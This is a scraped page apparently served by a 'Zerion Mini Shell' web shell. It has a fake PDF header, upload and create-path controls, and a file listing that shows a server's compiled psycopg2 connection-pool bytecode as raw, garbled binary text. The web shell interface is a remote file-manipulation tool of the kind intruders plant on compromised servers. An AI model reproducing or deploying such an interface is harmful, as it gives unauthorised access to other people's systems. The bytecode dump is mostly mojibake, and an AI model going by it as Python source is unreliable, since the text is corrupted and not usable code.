%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/site-packages/psycopg2/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/site-packages/psycopg2/__pycache__/pool.cpython-37.pyc

B

*��]��@s^dZddlZddlmZGdd�dej�ZGdd�de�ZGdd	�d	e�ZGd
d�de�Z	dS)z`Connection pooling for psycopg2

This module implements thread-safe (and not) connection pools.
�N)�
extensionsc@seZdZdS)�	PoolErrorN)�__name__�
__module__�__qualname__�rr�/pool.pyrsrc@sFeZdZdZdd�Zddd�Zdd�Zdd	d
�Zddd
�Zdd�Z	dS)�AbstractConnectionPoolzGeneric key-based pooling code.cOs^t|�|_t|�|_d|_||_||_g|_i|_i|_d|_	xt
|j�D]}|��qJWdS)z�Initialize the connection pool.

        New 'minconn' connections are created immediately calling 'connfunc'
        with given parameters. The connection pool will support a maximum of
        about 'maxconn' connections.
        FrN)�int�minconn�maxconn�closed�_args�_kwargs�_pool�_used�_rused�_keys�range�_connect)�selfrr�args�kwargs�irrr�__init__&s

zAbstractConnectionPool.__init__NcCsBtj|j|j�}|dk	r2||j|<||jt|�<n|j�|�|S)z;Create a new connection and assign it to 'key' if not None.N)	�psycopg2Zconnectrrrr�idr�append)r�key�connrrrr<s
zAbstractConnectionPool._connectcCs|jd7_|jS)zReturn a new unique key.�)r)rrrr�_getkeyFszAbstractConnectionPool._getkeycCs�|jrtd��|dkr|��}||jkr2|j|S|jr^|j��|j|<}||jt|�<|St|j�|j	krvtd��|�
|�SdS)z9Get a free connection and assign it to 'key' if not None.zconnection pool is closedNzconnection pool exhausted)r
rr!rr�poprr�lenrr)rrrrrr�_getconnKs

zAbstractConnectionPool._getconnFcCs�|jrtd��|dkr6|j�t|��}|dkr6td��t|j�|jkr�|s�|js�|jj	}|t
jkrl|��q�|t
j
kr�|��|j�|�q�|j�|�n|��|jr�||jkr�|j|=|jt|�=dS)zPut away a connection.zconnection pool is closedNz trying to put unkeyed connection)r
rr�getrr#rr�infoZtransaction_status�_extZTRANSACTION_STATUS_UNKNOWN�closeZTRANSACTION_STATUS_IDLEZrollbackrr)rrrr(Zstatusrrr�_putconn^s&


zAbstractConnectionPool._putconnc	CsX|jrtd��x>|jt|j���D]&}y|��Wq$tk
rHYq$Xq$Wd|_dS)z�Close all connections.

        Note that this can lead to some code fail badly when trying to use
        an already closed connection. If you call .closeall() make sure
        your code can deal with it.
        zconnection pool is closedTN)r
rr�listr�valuesr(�	Exception)rrrrr�	_closeall�s
z AbstractConnectionPool._closeall)N)N)NF)
rrr�__doc__rrr!r$r)r-rrrrr	#s



#r	c@s"eZdZdZejZejZej	Z
dS)�SimpleConnectionPoolz@A connection pool that can't be shared across different threads.N)rrrr.r	r$�getconnr)�putconnr-�closeallrrrrr/�sr/c@s4eZdZdZdd�Zddd�Zd
dd	�Zd
d�ZdS)�ThreadedConnectionPoolz7A connection pool that works with the threading module.cOs,ddl}tj|||f|�|�|��|_dS)zInitialize the threading lock.rN)�	threadingr	rZLock�_lock)rrrrrr4rrrr�szThreadedConnectionPool.__init__NcCs&|j��z
|�|�S|j��XdS)z9Get a free connection and assign it to 'key' if not None.N)r5�acquirer$�release)rrrrrr0�s

zThreadedConnectionPool.getconnFcCs.|j��z|�|||�Wd|j��XdS)zPut away an unused connection.N)r5r6r)r7)rrrr(rrrr1�s
zThreadedConnectionPool.putconncCs(|j��z|��Wd|j��XdS)z6Close all connections (even the one currently in use.)N)r5r6r-r7)rrrrr2�s
zThreadedConnectionPool.closeall)N)NNF)rrrr.rr0r1r2rrrrr3�s


r3)
r.rrr'�Errorr�objectr	r/r3rrrr�<module>so

Zerion Mini Shell 1.0